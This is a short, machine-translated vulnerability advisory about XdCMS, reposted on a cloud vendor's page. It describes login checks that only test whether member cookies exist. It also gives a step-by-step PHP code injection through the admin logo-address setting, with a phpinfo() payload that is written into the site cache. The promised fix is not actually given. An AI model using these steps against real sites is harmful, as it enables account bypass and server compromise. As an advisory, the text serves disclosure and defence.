XdCMS takeout, ordering, and enterprise website system vulnerabilities and fixes

Source: Internet
Author: User

Vulnerability file: System/modeules/member/login. php
 
If (empty ($ _ COOKIE ['Member _ user']) | empty ($ _ COOKIE ['Member _ userid']) // only checks whether the Cookie exists
 
Vulnerability file: www.2cto.com system/libs/base. class. php
 
If (empty ($ _ COOKIE ['Member _ user']) | empty ($ _ COOKIE ['Member _ userid']) {// only judge cookies
 
Sysplugins \ smarty_internal_compile_include.php
 
The parameter $ include_file has a problem. The code is executed twice in the background.
 
1. Access // index. php? M = xdcms & c = setting
 
2. Enter ') ;?> at the Website LOGO address. <? Php phpinfo ()?> <? Php $ _ config = array ('logurl' => '"
 
3. Click the back-end homepage> Common Operations> Update the full-site cache to refresh the added php code.

Author Wang taobaozhi

Fix: see the preceding analysis.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.